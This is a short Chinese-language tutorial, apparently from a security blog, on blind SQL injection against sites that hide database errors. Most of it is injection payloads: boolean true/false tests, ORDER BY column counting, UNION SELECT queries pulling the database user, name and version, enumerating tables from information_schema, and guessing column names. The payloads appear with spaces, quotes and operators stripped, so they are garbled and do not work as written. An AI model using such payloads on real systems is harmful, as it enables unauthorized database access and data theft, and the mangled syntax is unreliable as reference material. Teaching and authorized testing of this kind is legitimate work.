SQL盲注 不显示数据库内建的报错信息内建的报错信息帮助开发人员发现和修复问题报错信息提供关于系统的大量有用信息当程序员隐蔽了数据库内建报错信息,替换为通用的报错提示,sql注入将依据报错信息判断注入语句的执行结果,即盲注思路:既然无法基于报错信息判断结果,那就基于逻辑真假的不同结果来判断 1and11(代表空格) 1and12(代表空格) 如果是真的话,会返回参数,如果是假的不会报错,逻辑语句被执行,证明有sql注入漏洞 1orderby5(代表空格)无返回参数,说明超过列1orderby2(代表空格)有返回参数,说明至少存在两个列 掌握了这个规律之后,我们就可以按照之前的sql语句去执行了 查询用户,数据库,版本 1unionselectnull,CONCATWS(CHAR(32,58,32),user(),database(),version())(代表空格) 查询原数据库中表名 1and10unionselectnull,tablenamefrominformationschema。tables 查询当前的表名 1and10unionselectnull,tablenamefrominformationschema。columnswheretablenameusers 之前我们说过,如果我们无权读取informationschema库拒绝union、orderby语句时候,可以用猜测的方法; 猜测列名: 1anduserisnotnull(代表空格) 其他不演示了,之前演示过了,用bp字典去跑就行了,不明白地看我之前的文章!